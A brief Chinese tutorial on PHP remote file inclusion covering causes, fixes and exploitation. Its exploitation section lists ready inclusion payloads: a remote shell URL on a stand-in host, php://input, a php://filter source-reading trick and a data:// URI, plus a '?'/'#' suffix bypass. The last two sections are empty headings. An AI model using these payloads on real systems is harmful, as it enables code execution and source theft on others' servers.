远程文件包含(Remote File Include)

1、漏洞简介


如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式。

2、漏洞成因


文件包含漏洞的产生原因是在通过引入文件时,由于传入的文件名没有经过合理的校验,或者校检被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。当被包含的文件在远程服务器上市,就形成的远程文件包含漏洞。

3、漏洞的检测及利用


无通用的检测方法,但是大部分扫描器都支持远程文件包含漏洞的检测。

以下是常用的引入远程文件的方法

常见的协议:

[http|https|ftp]://example.com/shell.txt

(需要allowurlfopen=On并且 allowurlinclude=On)

利用php流input:

php://input

需要allowurlinclude=On,参考php:// — 访问各个输入/输出流(I/O streams)深入剖析PHP输入流 php://input

利用php流filter:

php://filter/convert.base64-encode/resource=index.php

需要allowurlinclude=On,参考php:// — 访问各个输入/输出流(I/O streams)

利用data URIs:

data://text/plain;base64,SSBsb3ZlIFBIUAo=

(需要allowurlinclude=On)

当服务器自动给文件增加后缀时可以在url之后增加'?'或者'#',便可绕过。

4、漏洞修复


对引入文件包含的参数进行过滤,或者对所引入的文件的域进行限制,禁止服务器访问可信域以外的文件。

5、实际案例

6、相关资源